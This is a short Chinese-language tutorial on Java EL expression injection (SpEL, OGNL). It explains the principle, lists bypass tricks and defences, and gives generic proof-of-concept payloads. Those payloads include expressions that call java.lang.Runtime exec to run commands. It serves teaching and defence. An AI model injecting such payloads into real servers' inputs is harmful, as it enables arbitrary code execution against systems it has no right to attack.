1、概述
1.1、定义
表达式注入漏洞类似远程代码执行漏洞(原理上),但远程代码执行漏洞是直接注入代码原生语句,而表达式注入漏洞是基于代码之上构建的执行逻辑。
一定意义上,表达式是代码的浓缩,同时也具备像代码一样可被执行的属性。
Java语言方面的表达式EL(Expression Language),主要包括一下内容:
- SpEL表达式(Spring)
- OGNL表达式(Struts2、Confluence)
1.2、EL简介
EL是为了让让JSP写起来更加简单,提供了在JSP中简化表达式的方法。
EL表达式的主要功能有:
- 获取数据
- 执行运算
- 获取Web开发常用队形
- 调用Java方法
2、漏洞分析
2.1、原理
表达式外部可控导致攻击者可以注入恶意表达式来实现任意代码执行。
EL表达式注入漏洞的外部可控点一般是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。
2.2、通用Poc
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
比如在Java程序中可以控制输入EL表达式如下:
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
如果该EL表达式直接在JSP页面中执行,则触发任意代码执行漏洞
但是在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的。
2.3、绕过
- 反射
- unicode
- 八进制
3、漏洞挖掘
使用工具进行扫描
4、漏洞防御
- 尽量不使用外部输入的内容作为EL表达式内容
- 若使用,需严格过滤EL表达式注入漏洞的payload关键字
- 排查Java程序中JUEL相关代码,可以搜索下面的关键类方法:
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()
5、实验
实验12
可以参考下面的文章学习